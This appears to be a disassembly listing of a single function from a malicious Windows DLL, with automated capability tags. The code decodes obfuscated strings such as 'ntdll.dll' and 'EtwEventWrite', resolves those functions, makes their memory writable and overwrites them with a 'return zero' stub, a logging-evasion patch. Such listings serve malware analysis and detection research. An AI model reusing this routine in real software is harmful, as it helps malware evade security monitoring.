Function at 0x180023b30
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
mov rax, qword [0x18004ed78]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rax, qword [0x18004e9e8]
xor r15d, r15d
mov dl, byte [0x18004e9bc]
mov ecx, r15d
mov dil, byte [0x18004e99c]
mov dword [rbp - 0x45], eax
mov eax, 0xffffc360
mov byte [rbp - 0x69], 0xf1
mov word [rbp - 0x65], ax
movzx eax, word [0x18004e8a4]
mov byte [rbp - 0x69], al
movzx eax, word [0x18004e8bc]
mov eax, dword [0x18004e884]
mov byte [rbp - 0x69], al
mov dword [rbp - 0x5d], 0xab0a4b8b
mov dword [rbp - 0x41], 0x9882babc
mov eax, dword [0x18004e980]
mov word [rbp - 0x65], ax
mov eax, 0x98d9
mov dword [rbp - 0x49], 0xf295
mov word [rbp - 0x59], ax
movzx esi, word [0x18004e9cc]
mov eax, dword [0x18004e9dc]
mov eax, dword [0x18004e960]
mov dword [rbp - 0x69], eax
movsx rax, byte [0x18004e8d1]
mov qword [rbp - 0x51], rax
mov rax, qword [0x18004e988]
mov word [rbp - 0x69], ax
mov dword [rbp - 0x5d], 0x73534178
mov al, byte [0x18004e8d6]
mov byte [rbp - 0x69], al
movsx rax, word [0x18004e954]
mov qword [rbp - 0x51], rax
mov eax, 0xffff831d
mov word [rbp - 0x69], ax
mov eax, 0xe4
mov word [rbp - 0x69], ax
mov rax, qword [0x18004e988]
mov dword [rbp - 0x5d], eax
movzx eax, byte [0x18004e8d3]
mov word [rbp - 0x69], ax
mov eax, 0xd4
mov word [rbp - 0x69], ax
mov qword [rbp - 0x51], 0xf6
mov qword [rbp - 0x51], Ordinal_127
mov dword [rbp - 0x5d], 0xadd6cde3
movzx eax, word [0x18004e9ac]
mov qword [rbp - 0x51], rax
mov dword [rbp - 0x5d], 0xe1ba
movzx eax, word [0x18004e9d8]
mov qword [rbp - 0x51], rax
mov al, byte [0x18004e90c]
mov byte [rbp - 0x69], al
movsx rax, word [0x18004e9c8]
mov qword [rbp - 0x51], rax
mov rax, qword [0x18004e970]
mov qword [rbp - 0x51], rax
mov eax, 0xedc7e0f7
mov qword [rbp - 0x51], rax
mov al, byte [0x18004e8d1]
cmp dl, al
mov eax, r15d
setg cl
cmp dl, 7
setg al
cmp ecx, eax
je 0x180023ce2
mov ecx, 0x22f
lea eax, [rdx - 0x29]
mov byte [0x18004e8bb], al
mov eax, dword [rbp - 0x49]
mov eax, dword [0x18004e924]
inc eax
mov dword [0x18004e924], eax
sub rcx, 1
jne 0x180023cc0
jmp 0x180023ce6
movzx eax, word [rbp - 0x59]
movsx rax, byte [0x180ae98a3]
and qword [0x18004e970], rax
mov rax, r15
mov dword [rbp - 0x61], 0xc3c03348
mov dword [rbp - 0x39], 0x665e6e68
mov dword [rbp - 0x35], 0x665e2866
mov word [rbp - 0x31], 0x66
add byte [rbp + rax - 0x39], 6
inc rax
cmp rax, 9
jb 0x180023d13
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp - 0x39]
mov qword [rsp + 0x40], r15
xor r9d, r9d
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call fcn.18000b68c
mov rbx, rax
mov ecx, 0x21a
mov r12d, 0x4e
movzx eax, word [0x18004e8bc]
cmp r12w, ax
je 0x180023d7b
mov eax, dword [0x18004e924]
add al, 0x78
mov byte [0x18004e8d7], al
jmp 0x180023d81
mov al, byte [0x18004e883]
dec ecx
test ecx, ecx
jg 0x180023d5e
mov dword [rbp - 0x29], 0x41737041
mov rax, r15
mov dword [rbp - 0x25], 0x706a6172
mov dword [rbp - 0x21], 0x70656e53
mov word [rbp - 0x1d], 0x61
add byte [rbp + rax - 0x29], 4
inc rax
cmp rax, 0xd
jb 0x180023da5
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rbp - 0x29]
mov qword [rsp + 0x40], r15
xor r9d, r9d
mov qword [rsp + 0x38], r15
mov rdx, rbx
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call fcn.18000b68c
mov r14, rax
mov qword [rbp - 0x51], rax
mov rax, qword [0x18004e968]
mov r8d, 0x18ae
add eax, 0x7fa00682
movzx r9d, sil
and eax, dword [0x18004e9a0]
not eax
mov dword [rbp - 0x5d], eax
movsx eax, byte [0x18004e8d1]
mov edx, r15d
cmp eax, r9d
mov ecx, r15d
mov al, byte [0x18004e8d1]
setle dl
cmp al, 0x1b
setle cl
cmp edx, ecx
jbe 0x180023e38
mov al, byte [0x18004e9a0]
sub al, dil
mov dil, al
sub r8, 1
jne 0x180023e0a
movdqa xmm0, xmmword [0x1800368c0]
mov rax, r15
movdqu xmmword [rbp - 0x19], xmm0
mov dword [rbp - 9], 0x8f959b99
mov dword [rbp - 5], 0x8e9988
xor byte [rbp + rax - 0x19], 0xfc
inc rax
cmp rax, 0x17
jb 0x180023e5c
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rbp - 0x19]
mov qword [rsp + 0x40], r15
xor r9d, r9d
mov qword [rsp + 0x38], r15
mov rdx, rbx
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call fcn.18000b68c
mov r13, rax
mov edx, r15d
mov al, byte [0x18004e881]
mov ecx, r15d
cmp al, r12b
mov al, byte [0x18004e881]
setae dl
cmp al, 0x47
setae cl
cmp edx, ecx
jae 0x180023f05
movsx ecx, word [0x18004e8a4]
movabs rdx, 0x25ad93100c4f2
mov eax, dword [rbp - 0x49]
add eax, ecx
movsxd rcx, eax
mov rax, qword [0x18004e990]
and rax, rdx
mov edx, r15d
cmp rcx, rax
movzx eax, word [rbp - 0x59]
movsx eax, dil
mov ecx, r15d
sete dl
sub eax, 0x6d
add ecx, edx
cdqe
add qword [0x18004e970], rax
mov dword [rbp - 0x69], ecx
movdqa xmm0, xmmword [0x180036890]
lea r8, [rbp + 0x17]
paddb xmm0, xmmword [0x1800368b0]
xor r9d, r9d
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rbx
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
movdqu xmmword [rbp + 0x17], xmm0
mov qword [rsp + 0x20], r15
mov byte [rbp + 0x27], r15b
call fcn.18000b68c
movdqa xmm0, xmmword [str._or_q_ioRmdo_ApgApsArajpNaceopan]
mov r12, rax
movzx eax, word [rbp - 0x65]
mov rax, qword [0x18004e978]
mov rax, r15
mov word [rbp + 0xf], 0x67
movdqu xmmword [rbp - 1], xmm0
add byte [rbp + rax - 1], 5
inc rax
cmp rax, 0x11
jb 0x180023f71
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rbp - 1]
mov qword [rsp + 0x40], r15
xor r9d, r9d
mov qword [rsp + 0x38], r15
mov rdx, rbx
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call fcn.18000b68c
mov r15, rax
mov ebx, 0x40
mov eax, dword [rbp - 0x45]
mov r8d, ebx
mov eax, 0x2644
mov rcx, r14
mov word [rbp - 0x65], ax
lea edi, [rbx - 0x3c]
mov edx, edi
call fcn.18000a8d0
mov r14d, eax
mov qword [0x18004e9a0], 0x9e
xor eax, eax
mov r8d, ebx
mov word [0x18004e9c8], ax
mov edx, edi
mov al, byte [0x180969010]
mov rcx, r13
mov byte [rbp - 0x69], al
call fcn.18000a8d0
mov esi, eax
mov r8d, ebx
movzx eax, byte [0x18004e881]
mov edx, edi
imul rax, rax, 0xef
mov rcx, r12
mov qword [0x18004e988], rax
call fcn.18000a8d0
mov r8d, ebx
lea edx, [rbx - 0x3c]
mov rcx, r15
mov edi, eax
call fcn.18000a8d0
mov rdx, qword [rbp - 0x51]
lea r8, [rbp - 0x61]
mov ebx, eax
lea rcx, [fcn.18002b130]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
lea r9d, [rax + 4]
mov qword [rsp + 0x20], rax
call fcn.18000b68c
xor eax, eax
lea r8, [rbp - 0x61]
mov qword [rsp + 0x40], rax
lea rcx, [fcn.18002b130]
mov qword [rsp + 0x38], rax
mov rdx, r13
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
lea r9d, [rax + 4]
mov qword [rsp + 0x20], rax
call fcn.18000b68c
xor eax, eax
lea r8, [rbp - 0x61]
mov qword [rsp + 0x40], rax
lea rcx, [fcn.18002b130]
mov qword [rsp + 0x38], rax
mov rdx, r12
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
lea r9d, [rax + 4]
mov qword [rsp + 0x20], rax
call fcn.18000b68c
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
lea r9d, [rax + 4]
lea r8, [rbp - 0x61]
mov qword [rsp + 0x20], rax
mov rdx, r15
lea rcx, [fcn.18002b130]
call fcn.18000b68c
mov rcx, qword [rbp - 0x51]
mov r8d, r14d
mov r14d, 4
mov edx, r14d
call fcn.18000a8d0
mov r8d, esi
mov edx, r14d
mov rcx, r13
call fcn.18000a8d0
mov r8d, edi
mov edx, r14d
mov rcx, r12
call fcn.18000a8d0
mov r8d, ebx
mov edx, r14d
mov rcx, r15
call fcn.18000a8d0
movsx ecx, word [0x18004e9c8]
lea eax, [r14 - 3]
mov edx, dword [rbp - 0x41]
add byte [0x18004e882], 0xe
sub edx, ecx
mov ecx, dword [rbp - 0x5d]
add cx, dx
mov word [rbp - 0x65], cx
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.18002a1f0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret